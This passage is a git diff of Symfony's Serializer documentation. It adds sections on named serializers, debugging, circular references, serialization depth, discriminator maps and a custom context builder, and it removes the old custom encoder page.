:ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>` +or :ref:`serializer.encoder <reference-dic-tags-serializer-encoder>` tags: .. configuration-block:: @@ -94,22 +1714,45 @@ properties and setters (``setXxx()``) to change properties: # config/services.yaml services: - get_set_method_normalizer: - class: Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer - tags: [serializer.normalizer] + # ... + + Symfony\Component\Serializer\Normalizer\CustomNormalizer: + # prevent this normalizer from being automatically added to the default serializer + autoconfigure: false + tags: + # add this normalizer only to a specific named serializer + - serializer.normalizer: { serializer: 'api_client1' } + # add this normalizer to several named serializers + - serializer.normalizer: { serializer: [ 'api_client1', 'api_client2' ] } + # add this normalizer to all serializers, including the default one + - serializer.normalizer: { serializer: '*' } .. code-block:: xml <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd"> <services> - <service id="get_set_method_normalizer" class="Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer"> - <tag name="serializer.normalizer"/> + <!-- ... --> + + <!-- prevent this normalizer from being automatically added to the default serializer --> + <service + id="Symfony\Component\Serializer\Normalizer\CustomNormalizer" + autoconfigure="false" + > + <!-- add this normalizer only to a specific named serializer --> + <tag name="serializer.normalizer" serializer="api_client1"/> + + <!-- add this normalizer to several named serializers --> + <tag name="serializer.normalizer" serializer="api_client1"/> + <tag name="serializer.normalizer" serializer="api_client2"/> + + <!-- add this normalizer to all serializers, including the default one --> + <tag name="serializer.normalizer" serializer="*"/> </service> </services> </container> @@ -119,168 +1762,836 @@ properties and setters (``setXxx()``) to change properties: // config/services.php namespace Symfony\Component\DependencyInjection\Loader\Configurator; - use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer; + use Symfony\Component\Serializer\Normalizer\CustomNormalizer; + + return function(ContainerConfigurator $container) { + // ... - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + $services->set(CustomNormalizer::class) + // prevent this normalizer from being automatically added to the default serializer + ->autoconfigure(false) - $services->set('get_set_method_normalizer', GetSetMethodNormalizer::class) - ->tag('serializer.normalizer') + // add this normalizer only to a specific named serializer + ->tag('serializer.normalizer', ['serializer' => 'api_client1']) + // add this normalizer to several named serializers + ->tag('serializer.normalizer', ['serializer' => ['api_client1', 'api_client2']]) + // add this normalizer to all serializers, including the default one + ->tag('serializer.normalizer', ['serializer' => '*']) ; }; -.. _serializer-using-serialization-groups-annotations: +When the ``serializer`` attribute is not set, the service is registered only with +the default serializer. + +Each normalizer or encoder used in a named serializer is tagged with a +``serializer.normalizer.<name>`` or ``serializer.encoder.<name>`` tag. +You can inspect their priorities using the following command: + +.. code-block:: terminal + + $ php bin/console debug:container --tag serializer.<normalizer|encoder>.<name> + +Additionally, you can exclude the default set of normalizers and encoders from a +named serializer by setting the ``include_built_in_normalizers`` and +``include_built_in_encoders`` options to ``false``: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/serializer.yaml + framework: + serializer: + named_serializers: + api_client1: + include_built_in_normalizers: false + include_built_in_encoders: true + + .. code-block:: xml + + <!-- config/packages/serializer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:serializer> + + <framework:named-serializer + name="api_client1" + include-built-in-normalizers="false" + include-built-in-encoders="true" + /> + + </framework:serializer> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/serializer.php + use Symfony\Config\FrameworkConfig; -Using Serialization Groups Annotations --------------------------------------- + return static function (FrameworkConfig $framework): void { + $framework->serializer() + ->namedSerializer('api_client1') + ->includeBuiltInNormalizers(false) + ->includeBuiltInEncoders(true) + ; + }; -To use annotations, first add support for them via the SensioFrameworkExtraBundle: +Debugging the Serializer +------------------------ + +Use the ``debug:serializer`` command to dump the serializer metadata of a +given class: .. code-block:: terminal - $ composer require sensio/framework-extra-bundle + $ php bin/console debug:serializer 'App\Entity\Book' + + App\Entity\Book + --------------- + + +----------+------------------------------------------------------------+ + | Property | Options | + +----------+------------------------------------------------------------+ + | name | [ | + | | "groups" => [ | + | | "book:read", | + | | "book:write", | + | | ], | + | | "maxDepth" => 1, | + | | "serializedName" => "book_name", | + | | "serializedPath" => null, | + | | "ignore" => false, | + | | "normalizationContexts" => [], | + | | "denormalizationContexts" => [] | + | | ] | + | isbn | [ | + | | "groups" => [ | + | | "book:read", | + | | ], | + | | "maxDepth" => null, | + | | "serializedName" => null, | + | | "serializedPath" => "[data][isbn]", | + | | "ignore" => false, | + | | "normalizationContexts" => [], | + | | "denormalizationContexts" => [] | + | | ] | + +----------+------------------------------------------------------------+ + +Advanced Serialization +---------------------- + +Skipping ``null`` Values +~~~~~~~~~~~~~~~~~~~~~~~~ + +By default, the Serializer will preserve properties containing a ``null`` value. +You can change this behavior by setting the ``AbstractObjectNormalizer::SKIP_NULL_VALUES`` context option +to ``true``:: + + class Person + { + public string $name = 'Jane Doe'; + public ?string $gender = null; + } + + $jsonContent = $serializer->serialize(new Person(), 'json', [ + AbstractObjectNormalizer::SKIP_NULL_VALUES => true, + ]); + // $jsonContent contains {"name":"Jane Doe"} + +Preserving Empty Objects +~~~~~~~~~~~~~~~~~~~~~~~~ + +By default, the Serializer transforms an empty array to ``[]``. You can change +this behavior by setting the ``AbstractObjectNormalizer::PRESERVE_EMPTY_OBJECTS`` +context option to ``true``. When the value is an instance of ``\ArrayObject()``, +the serialized data will be ``{}``. + +Handling Uninitialized Properties +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +In PHP, typed properties have an ``uninitialized`` state which is different +from the default ``null`` of untyped properties. When you try to access a typed +property before giving it an explicit value, you get an error. + +To avoid the serializer throwing an error when serializing or normalizing +an object with uninitialized properties, by default the ``ObjectNormalizer`` +catches these errors and ignores such properties. + +You can disable this behavior by setting the +``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option to +``false``:: + + class Person { + public string $name = 'Jane Doe'; + public string $phoneNumber; // uninitialized + } + + $jsonContent = $normalizer->serialize(new Dummy(), 'json', [ + AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES => false, + ]); + // throws Symfony\Component\PropertyAccess\Exception\UninitializedPropertyException + // as the ObjectNormalizer cannot read uninitialized properties + +.. note:: -Next, add the :ref:`@Groups annotations <component-serializer-attributes-groups-annotations>` -to your class:: + Using :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer` + or :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer` + with ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context + option set to ``false`` will throw an ``\Error`` instance if the given + object has uninitialized properties as the normalizers cannot read them + (directly or via getter/isser methods). - // src/Entity/Product.php - namespace App\Entity; +.. _component-serializer-handling-circular-references: - use Doctrine\ORM\Mapping as ORM; - use Symfony\Component\Serializer\Annotation\Groups; +Handling Circular References +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - /** - * @ORM\Entity() - */ - class Product +Circular references are common when dealing with associated objects:: + + class Organization { - /** - * @ORM\Id - * @ORM\GeneratedValue - * @ORM\Column(type="integer") - * @Groups({"show_product", "list_product"}) - */ - private $id; + public function __construct( + private string $name, + private array $members = [] + ) { + } - /** - * @ORM\Column(type="string", length=255) - * @Groups({"show_product", "list_product"}) - */ - private $name; + public function getName(): string + { + return $this->name; + } - /** - * @ORM\Column(type="integer") - * @Groups({"show_product"}) - */ - private $description; + public function addMember(Member $member): void + { + $this->members[] = $member; + } + + public function getMembers(): array + { + return $this->members; + } } -You can now choose which groups to use when serializing:: + class Member + { + private Organization $organization; - $json = $serializer->serialize( - $product, - 'json', - ['groups' => 'show_product'] - ); + public function __construct( + private string $name + ) { + } -.. tip:: + public function getName(): string + { + return $this->name; + } - The value of the ``groups`` key can be a single string, or an array of strings. + public function setOrganization(Organization $organization): void + { + $this->organization = $organization; + } -In addition to the ``@Groups`` annotation, the Serializer component also -supports YAML or XML files. These files are automatically loaded when being -stored in one of the following locations: + public function getOrganization(): Organization + { + return $this->organization; + } + } -* All ``*.yaml`` and ``*.xml`` files in the ``config/serializer/`` - directory. -* The ``serialization.yaml`` or ``serialization.xml`` file in - the ``Resources/config/`` directory of a bundle; -* All ``*.yaml`` and ``*.xml`` files in the ``Resources/config/serialization/`` - directory of a bundle. +To avoid infinite loops, the normalizers throw a +:class:`Symfony\\Component\\Serializer\\Exception\\CircularReferenceException` +when such a case is encountered:: -.. _serializer-enabling-metadata-cache: + $organization = new Organization('Les-Tilleuls.coop'); + $member = new Member('Kévin'); -Configuring the Metadata Cache ------------------------------- + $organization->addMember($member); + $member->setOrganization($organization); -The metadata for the serializer is automatically cached to enhance application -performance. By default, the serializer uses the ``cache.system`` cache pool -which is configured using the :ref:`cache.system <reference-cache-system>` -option. + $jsonContent = $serializer->serialize($organization, 'json'); + // throws a CircularReferenceException -Enabling a Name Converter -------------------------- +The key ``circular_reference_limit`` in the context sets the number of +times it will serialize the same object before considering it a circular +reference. The default value is ``1``. -The use of a :ref:`name converter <component-serializer-converting-property-names-when-serializing-and-deserializing>` -service can be defined in the configuration using the :ref:`name_converter <reference-serializer-name_converter>` -option. +Instead of throwing an exception, circular references can also be handled +by custom callables. This is especially useful when serializing entities +having unique identifiers:: + + use Symfony\Component\Serializer\Exception\CircularReferenceException; + + $context = [ + AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function (object $object, ?string $format, array $context): string { + if (!$object instanceof Organization) { + throw new CircularReferenceException('A circular reference has been detected when serializing the object of class "'.get_debug_type($object).'".'); + } + + // serialize the nested Organization with only the name (and not the members) + return $object->getName(); + }, + ]; + + $jsonContent = $serializer->serialize($organization, 'json', $context); + // $jsonContent contains {"name":"Les-Tilleuls.coop","members":[{"name":"K\u00e9vin", organization: "Les-Tilleuls.coop"}]} + +.. _serializer_handling-serialization-depth: + +Handling Serialization Depth +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The serializer can also detect nested objects of the same class and limit +the serialization depth. This is useful for tree structures, where the same +object is nested multiple times. + +For instance, assume a data structure of a family tree:: + + // ... + class Person + { + // ... + + public function __construct( + private string $name, + private ?self $mother + ) { + } + + public function getName(): string + { + return $this->name; + } + + public function getMother(): ?self + { + return $this->mother; + } + + // ... + } + + // ... + $greatGrandmother = new Person('Elizabeth', null); + $grandmother = new Person('Jane', $greatGrandmother); + $mother = new Person('Sophie', $grandmother); + $child = new Person('Joe', $mother); + +You can specify the maximum depth for a given property. For instance, you +can set the max depth to ``1`` to always only serialize someone's mother +(and not their grandmother, etc.): + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Model/Person.php + namespace App\Model; + + use Symfony\Component\Serializer\Attribute\MaxDepth; -The built-in :ref:`CamelCase to snake_case name converter <using-camelized-method-names-for-underscored-attributes>` -can be enabled by using the ``serializer.name_converter.camel_case_to_snake_case`` -value: + class Person + { + #[MaxDepth(1)] + private ?self $mother; + + // ... + } + + .. code-block:: yaml + + # config/serializer/person.yaml + App\Model\Person: + attributes: + mother: + max_depth: 1 + + .. code-block:: xml + + <!-- config/serializer/person.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping + https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" + > + <class name="App\Model\Person"> + <attribute name="mother" max-depth="1"/> + </class> + </serializer> + +To limit the serialization depth, you must set the +``AbstractObjectNormalizer::ENABLE_MAX_DEPTH`` key to ``true`` in the +context (or the default context specified in ``framework.yaml``):: + + // ... + $greatGrandmother = new Person('Elizabeth', null); + $grandmother = new Person('Jane', $greatGrandmother); + $mother = new Person('Sophie', $grandmother); + $child = new Person('Joe', $mother); + + $jsonContent = $serializer->serialize($child, null, [ + AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true + ]); + // $jsonContent contains {"name":"Joe","mother":{"name":"Sophie"}} + +You can also configure a custom callable that is used when the maximum +depth is reached. This can be used to for instance return the unique +identifier of the next nested object, instead of omitting the property:: + + use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer; + // ... + + $greatGrandmother = new Person('Elizabeth', null); + $grandmother = new Person('Jane', $greatGrandmother); + $mother = new Person('Sophie', $grandmother); + $child = new Person('Joe', $mother); + + // all callback parameters are optional (you can omit the ones you don't use) + $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, ?string $format = null, array $context = []): ?string { + // return only the name of the next person in the tree + return $innerObject instanceof Person ? $innerObject->getName() : null; + }; + + $jsonContent = $serializer->serialize($child, null, [ + AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true, + AbstractObjectNormalizer::MAX_DEPTH_HANDLER => $maxDepthHandler, + ]); + // $jsonContent contains {"name":"Joe","mother":{"name":"Sophie","mother":"Jane"}} + +Using Callbacks to Serialize Properties with Object Instances +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +When serializing, you can set a callback to format a specific object +property. This can be used instead of +:ref:`defining the context for a group <serializer-context-group>`:: + + $person = new Person('cordoval', 34); + $person->setCreatedAt(new \DateTime('now')); + + $context = [ + AbstractNormalizer::CALLBACKS => [ + // all callback parameters are optional (you can omit the ones you don't use) + 'createdAt' => function (object $attributeValue, object $object, string $attributeName, ?string $format = null, array $context = []) { + return $attributeValue instanceof \DateTime ? $attributeValue->format(\DateTime::ATOM) : ''; + }, + ], + ]; + $jsonContent = $serializer->serialize($person, 'json', $context); + // $jsonContent contains {"name":"cordoval","age":34,"createdAt":"2014-03-22T09:43:12-0500"} + +Advanced Deserialization +------------------------ + +Require all Properties +~~~~~~~~~~~~~~~~~~~~~~ + +By default, the Serializer will add ``null`` to nullable properties when +the parameters for those are not provided. You can change this behavior by +setting the ``AbstractNormalizer::REQUIRE_ALL_PROPERTIES`` context option +to ``true``:: + + class Person + { + public function __construct( + public string $firstName, + public ?string $lastName, + ) { + } + } + + // ... + $data = ['firstName' => 'John']; + $person = $serializer->deserialize($data, Person::class, 'json', [ + AbstractNormalizer::REQUIRE_ALL_PROPERTIES => true, + ]); + // throws Symfony\Component\Serializer\Exception\MissingConstructorArgumentException + +Collecting Type Errors While Denormalizing +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +When denormalizing a payload to an object with typed properties, you'll get an +exception if the payload contains properties that don't have the same type as +the object. + +Use the ``COLLECT_DENORMALIZATION_ERRORS`` option to collect all exceptions +at once, and to get the object partially denormalized:: + + try { + $person = $serializer->deserialize($jsonString, Person::class, 'json', [ + DenormalizerInterface::COLLECT_DENORMALIZATION_ERRORS => true, + ]); + } catch (PartialDenormalizationException $e) { + $violations = new ConstraintViolationList(); + + /** @var NotNormalizableValueException $exception */ + foreach ($e->getErrors() as $exception) { + $message = sprintf('The type must be one of "%s" ("%s" given).', implode(', ', $exception->getExpectedTypes()), $exception->getCurrentType()); + $parameters = []; + if ($exception->canUseMessageForUser()) { + $parameters['hint'] = $exception->getMessage(); + } + $violations->add(new ConstraintViolation($message, '', $parameters, null, $exception->getPath(), null)); + } + + // ... return violation list to the user + } + +.. _serializer-populate-existing-object: + +Deserializing in an Existing Object +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The serializer can also be used to update an existing object. You can do +this by configuring the ``object_to_populate`` serializer context option:: + + use Symfony\Component\Serializer\Normalizer\AbstractNormalizer; + + // ... + $person = new Person('Jane Doe', 59); + + $serializer->deserialize($jsonData, Person::class, 'json', [ + AbstractNormalizer::OBJECT_TO_POPULATE => $person, + ]); + // instead of returning a new object, $person is updated instead + +.. note:: + + The ``AbstractNormalizer::OBJECT_TO_POPULATE`` option is only used for + the top level object. If that object is the root of a tree structure, + all child elements that exist in the normalized data will be re-created + with new instances. + + When the ``AbstractObjectNormalizer::DEEP_OBJECT_TO_POPULATE`` context + option is set to ``true``, existing children of the root ``OBJECT_TO_POPULATE`` + are updated from the normalized data, instead of the denormalizer + re-creating them. This only works for single child objects, not for + arrays of objects. Those will still be replaced when present in the + normalized data. + +.. _serializer_interfaces-and-abstract-classes: + +Deserializing Interfaces and Abstract Classes +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +When working with associated objects, a property sometimes reference an +interface or abstract class. When deserializing these properties, the +Serializer has to know which concrete class to initialize. This is done +using a *discriminator class mapping*. + +Imagine there is an ``InvoiceItemInterface`` that is implemented by the +``Product`` and ``Shipping`` objects. When serializing an object, the +serializer will add an extra "discriminator attribute". This contains +either ``product`` or ``shipping``. The discriminator class map maps +these type names to the real PHP class name when deserializing: .. configuration-block:: + .. code-block:: php-attributes + + namespace App\Model; + + use Symfony\Component\Serializer\Attribute\DiscriminatorMap; + + #[DiscriminatorMap( + typeProperty: 'type', + mapping: [ + 'product' => Product::class, + 'shipping' => Shipping::class, + ] + )] + interface InvoiceItemInterface + { + // ... + } + .. code-block:: yaml - # config/packages/framework.yaml - framework: - # ... - serializer: - name_converter: 'serializer.name_converter.camel_case_to_snake_case' + App\Model\InvoiceItemInterface: + discriminator_map: + type_property: type + mapping: + product: 'App\Model\Product' + shipping: 'App\Model\Shipping' .. code-block:: xml - <!-- config/packages/framework.xml --> - <framework:config> - <!-- ... --> - <framework:serializer name-converter="serializer.name_converter.camel_case_to_snake_case"/> - </framework:config> + <?xml version="1.0" encoding="UTF-8" ?> + <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping + https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" + > + <class name="App\Model\InvoiceItemInterface"> + <discriminator-map type-property="type"> + <mapping type="product" class="App\Model\Product"/> + <mapping type="shipping" class="App\Model\Shipping"/> + </discriminator-map> + </class> + </serializer> + +With the discriminator map configured, the serializer can now pick the +correct class for properties typed as ``InvoiceItemInterface``:: + +.. configuration-block:: + + .. code-block:: php-symfony - .. code-block:: php + class InvoiceLine + { + public function __construct( + private InvoiceItemInterface $invoiceItem + ) { + $this->invoiceItem = $invoiceItem; + } + + public function getInvoiceItem(): InvoiceItemInterface + { + return $this->invoiceItem; + } + + // ... + } + + // ... + $invoiceLine = new InvoiceLine(new Product()); + + $jsonString = $serializer->serialize($invoiceLine, 'json'); + // $jsonString contains {"type":"product",...} + + $invoiceLine = $serializer->deserialize($jsonString, InvoiceLine::class, 'json'); + // $invoiceLine contains new InvoiceLine(new Product(...)) + + .. code-block:: php-standalone + + // ... + use Symfony\Component\Serializer\Mapping\ClassDiscriminatorFromClassMetadata; + use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory; + use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader; + use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; + use Symfony\Component\Serializer\Serializer; + + class InvoiceLine + { + public function __construct( + private InvoiceItemInterface $invoiceItem + ) { + $this->invoiceItem = $invoiceItem; + } + + public function getInvoiceItem(): InvoiceItemInterface + { + return $this->invoiceItem; + } - // config/packages/framework.php - $container->loadFromExtension('framework', [ // ... - 'serializer' => [ - 'name_converter' => 'serializer.name_converter.camel_case_to_snake_case', + } + + // ... + + // Configure a loader to retrieve mapping information like DiscriminatorMap. + // E.g. when using PHP attributes: + $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader()); + $discriminator = new ClassDiscriminatorFromClassMetadata($classMetadataFactory); + $normalizers = [ + new ObjectNormalizer($classMetadataFactory, null, null, null, $discriminator), + ]; + + $serializer = new Serializer($normalizers, $encoders); + + $invoiceLine = new InvoiceLine(new Product()); + + $jsonString = $serializer->serialize($invoiceLine, 'json'); + // $jsonString contains {"type":"product",...} + + $invoiceLine = $serializer->deserialize($jsonString, InvoiceLine::class, 'json'); + // $invoiceLine contains new InvoiceLine(new Product(...)) + +You can add a default type to avoid the need to add the type property +when deserializing: + +.. configuration-block:: + + .. code-block:: php-attributes + + namespace App\Model; + + use Symfony\Component\Serializer\Attribute\DiscriminatorMap; + + #[DiscriminatorMap( + typeProperty: 'type', + mapping: [ + 'product' => Product::class, + 'shipping' => Shipping::class, ], - ]); + defaultType: 'product', + )] + interface InvoiceItemInterface + { + // ... + } -Going Further with the Serializer ---------------------------------- + .. code-block:: yaml + + App\Model\InvoiceItemInterface: + discriminator_map: + type_property: type + mapping: + product: 'App\Model\Product' + shipping: 'App\Model\Shipping' + default_type: product + + .. code-block:: xml + + <?xml version="1.0" encoding="UTF-8" ?> + <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping + https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" + > + <class name="App\Model\InvoiceItemInterface"> + <discriminator-map type-property="type" default-type="product"> + <mapping type="product" class="App\Model\Product"/> + <mapping type="shipping" class="App\Model\Shipping"/> + </discriminator-map> + </class> + </serializer> + +Now it deserializes like this: + +.. configuration-block:: + + .. code-block:: php + + // $jsonString does NOT contain "type" in "invoiceItem" + $invoiceLine = $serializer->deserialize('{"invoiceItem":{...},...}', InvoiceLine::class, 'json'); + // $invoiceLine contains new InvoiceLine(new Product(...)) -`API Platform`_ provides an API system supporting the following formats: +.. versionadded:: 7.3 -* `JSON-LD`_ along with the `Hydra Core Vocabulary`_ -* `OpenAPI`_ v2 (formerly Swagger) and v3 -* `GraphQL`_ -* `JSON:API`_ -* `HAL`_ -* JSON -* XML -* YAML -* CSV + The ``defaultType`` parameter was added in Symfony 7.3. -It is built on top of the Symfony Framework and its Serializer -component. It provides custom normalizers and a custom encoder, custom metadata -and a caching system. +.. _serializer-unwrapping-denormalizer: -If you want to leverage the full power of the Symfony Serializer component, -take a look at how this bundle works. +Deserializing Input Partially (Unwrapping) +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The serializer will always deserialize the complete input string into PHP +values. When connecting with third party APIs, you often only need a +specific part of the returned response. + +To avoid deserializing the whole response, you can use the +:class:`Symfony\\Component\\Serializer\\Normalizer\\UnwrappingDenormalizer` +and "unwrap" the input data:: + + $jsonData = '{"result":"success","data":{"person":{"name": "Jane Doe","age":57}}}'; + $data = $serialiser->deserialize($jsonData, Object::class, [ + UnwrappingDenormalizer::UNWRAP_PATH => '[data][person]', + ]); + // $data is Person(name: 'Jane Doe', age: 57) + +The ``unwrap_path`` is a :ref:`property path <property-access-reading-arrays>` +of the PropertyAccess component, applied on the denormalized array. + +Handling Constructor Arguments +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If the class constructor defines arguments, as usually happens with +`Value Objects`_, the serializer will match the parameter names with the +deserialized attributes. If some parameters are missing, a +:class:`Symfony\\Component\\Serializer\\Exception\\MissingConstructorArgumentsException` +is thrown. + +In these cases, use the ``default_constructor_arguments`` context option to +define default values for the missing parameters:: + + use App\Model\Person; + use Symfony\Component\Serializer\Normalizer\AbstractNormalizer; + // ... + + $jsonData = '{"age":39,"name":"Jane Doe"}'; + $person = $serializer->deserialize($jsonData, Person::class, 'json', [ + AbstractNormalizer::DEFAULT_CONSTRUCTOR_ARGUMENTS => [ + Person::class => ['sportsperson' => true], + ], + ]); + // $person is Person(name: 'Jane Doe', age: 39, sportsperson: true); + +Recursive Denormalization and Type Safety +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +When a ``PropertyTypeExtractor`` is available, the normalizer will also +check that the data to denormalize matches the type of the property (even +for primitive types). For instance, if a ``string`` is provided, but the +type of the property is ``int``, an +:class:`Symfony\\Component\\Serializer\\Exception\\UnexpectedValueException` +will be thrown. The type enforcement of the properties can be disabled by +setting the serializer context option +``ObjectNormalizer::DISABLE_TYPE_ENFORCEMENT`` to ``true``. + +Handling Boolean Values +~~~~~~~~~~~~~~~~~~~~~~~ + +.. versionadded:: 7.1 + + The ``AbstractNormalizer::FILTER_BOOL`` context option was introduced in Symfony 7.1. + +PHP considers many different values as true or false. For example, the +strings ``true``, ``1``, and ``yes`` are considered true, while +``false``, ``0``, and ``no`` are considered false. + +When deserializing, the Serializer component can take care of this +automatically. This can be done by using the ``AbstractNormalizer::FILTER_BOOL`` +context option:: + + use Symfony\Component\Serializer\Normalizer\AbstractNormalizer; + // ... + + $person = $serializer->denormalize(['sportsperson' => 'yes'], Person::class, context: [ + AbstractNormalizer::FILTER_BOOL => true + ]); + // $person contains a Person instance with sportsperson set to true + +This context makes the deserialization process behave like the +:phpfunction:`filter_var` function with the ``FILTER_VALIDATE_BOOL`` flag. + +.. _serializer-enabling-metadata-cache: + +Configuring the Metadata Cache +------------------------------ + +The metadata for the serializer is automatically cached to enhance application +performance. By default, the serializer uses the ``cache.system`` cache pool +which is configured using the :ref:`cache.system <reference-cache-system>` +option. + +Going Further with the Serializer +--------------------------------- .. toctree:: + :glob: :maxdepth: 1 - serializer/normalizers - serializer/custom_encoders - serializer/custom_normalizer + serializer/* +.. _`JMS serializer`: https://github.com/schmittjoh/serializer .. _`API Platform`: https://api-platform.com .. _`JSON-LD`: https://json-ld.org -.. _`Hydra Core Vocabulary`: http://www.hydra-cg.com +.. _`Hydra Core Vocabulary`: https://www.hydra-cg.com/ .. _`OpenAPI`: https://www.openapis.org .. _`GraphQL`: https://graphql.org .. _`JSON:API`: https://jsonapi.org -.. _`HAL`: http://stateless.co/hal_specification.html -.. _`Data URIs`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs +.. _`HAL`: https://stateless.group/hal_specification.html +.. _`RFC 7807`: https://tools.ietf.org/html/rfc7807 +.. _`RFC 4122`: https://tools.ietf.org/html/rfc4122 +.. _`RFC 3339`: https://tools.ietf.org/html/rfc3339#section-5.8 +.. _`list of PHP timezones`: https://www.php.net/manual/en/timezones.php +.. _`data URI`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs +.. _`PHP reflection`: https://php.net/manual/en/book.reflection.php +.. _`Value Objects`: https://en.wikipedia.org/wiki/Value_object diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst new file mode 100644 index 00000000000..e25b6d77813 --- /dev/null +++ b/serializer/custom_context_builders.rst @@ -0,0 +1,80 @@ +How to Create your Custom Context Builder +========================================= + +That serialization process of the :doc:`Serializer Component </serializer>` +can be configured by the :ref:`serialization context <serializer-context>`, +which can be built thanks to :ref:`context builders <serializer-using-context-builders>`. + +Each built-in normalizer/encoder has its related context builder. However, you +may want to create a custom context builder for your +:doc:`custom normalizers </serializer/custom_normalizer>`. + +Creating a new Context Builder +------------------------------ + +Let's imagine that you want to handle date denormalization differently if they +are coming from a legacy system, by converting dates to ``null`` if the serialized +value is ``0000-00-00``. To do that you'll first have to create your normalizer:: + + // src/Serializer/ZeroDateTimeDenormalizer.php + namespace App\Serializer; + + use Symfony\Component\Serializer\Normalizer\DenormalizerAwareInterface; + use Symfony\Component\Serializer\Normalizer\DenormalizerAwareTrait; + use Symfony\Component\Serializer\Normalizer\DenormalizerInterface; + + final class ZeroDateTimeDenormalizer implements DenormalizerInterface, DenormalizerAwareInterface + { + use DenormalizerAwareTrait; + + public function denormalize(mixed $data, string $type, ?string $format = null, array $context = []): mixed + { + if ('0000-00-00' === $data) { + return null; + } + + unset($context['zero_datetime_to_null']); + + return $this->denormalizer->denormalize($data, $type, $format, $context); + } + + public function supportsDenormalization(mixed $data, string $type, ?string $format = null, array $context = []): bool + { + return true === ($context['zero_datetime_to_null'] ?? false) + && is_a($type, \DateTimeInterface::class, true); + } + } + +Now you can cast zero-ish dates to ``null`` during denormalization:: + + $legacyData = '{"updatedAt": "0000-00-00"}'; + $serializer->deserialize($legacyData, MyModel::class, 'json', ['zero_datetime_to_null' => true]); + +Now, to avoid having to remember about this specific ``zero_date_to_null`` +context key, you can create a dedicated context builder:: + + // src/Serializer/LegacyContextBuilder + namespace App\Serializer; + + use Symfony\Component\Serializer\Context\ContextBuilderInterface; + use Symfony\Component\Serializer\Context\ContextBuilderTrait; + + final class LegacyContextBuilder implements ContextBuilderInterface + { + use ContextBuilderTrait; + + public function withLegacyDates(bool $legacy): static + { + return $this->with('zero_datetime_to_null', $legacy); + } + } + +And finally, use it to build the serialization context:: + + $legacyData = '{"updatedAt": "0000-00-00"}'; + + $context = (new LegacyContextBuilder()) + ->withLegacyDates(true) + ->toArray(); + + $serializer->deserialize($legacyData, MyModel::class, 'json', $context); diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst deleted file mode 100644 index 5bb78def4e4..00000000000 --- a/serializer/custom_encoders.rst +++ /dev/null @@ -1,71 +0,0 @@ -.. index:: - single: Serializer; Custom encoders - -How to Create your Custom Encoder -================================= - -The :doc:`Serializer Component </components/serializer>` uses Normalizers -to transform any data to an array. Then, by leveraging *Encoders*, that data can -be converted into any data-structure (e.g. JSON). - -The Component provides several built-in encoders that are described -:doc:`in the serializer component </components/serializer>` but you may want -to use another structure that's not supported. - -Creating a new encoder ----------------------- - -Imagine you want to serialize and deserialize 